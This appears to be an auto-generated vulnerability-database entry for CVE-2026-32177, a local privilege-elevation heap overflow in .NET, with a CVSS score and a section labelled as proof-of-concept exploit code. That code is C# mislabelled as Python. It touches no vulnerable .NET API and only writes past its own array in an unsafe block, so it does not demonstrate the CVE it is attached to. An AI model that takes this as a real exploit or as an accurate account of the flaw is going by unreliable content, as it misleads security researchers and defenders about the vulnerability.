Heap-based buffer overflow in .NET allows an unauthorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
Configurations (Affected Products)
No configuration data available.
.NET (具体受影响版本请参考官方安全通告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2026-32177 (.NET Heap Overflow)
* This code demonstrates the concept of triggering a buffer overflow.
* Actual exploitation depends on specific vulnerable .NET API calls.
*/
using System;
using System.Runtime.InteropServices;
namespace HeapOverflowPoC
{
class Program
{
// Simulating a method that copies data unsafely
static void UnsafeCopy(byte[] source, int offset)
{
// In a real vulnerable scenario, bounds checking might be missing
// or incorrect when dealing with unmanaged memory / unsafe contexts.
unsafe
{
fixed (byte* p = source)
{
// Simulate writing past the buffer boundary
for (int i = 0; i < source.Length + offset; i++)
{
p[i] = 0x41; // 'A'
}
}
}
}
static void Main(string[] args)
{
Console.WriteLine("[+] Triggering PoC for CVE-2026-32177...");
try
{
// Allocate buffer
byte[] payload = new byte[100];
// Attempt to overflow
UnsafeCopy(payload, 50);
Console.WriteLine("[-] Exploit failed to trigger crash.");
}
catch (Exception ex)
{
Console.WriteLine("[!] Exception caught: " + ex.Message);
}
}
}
}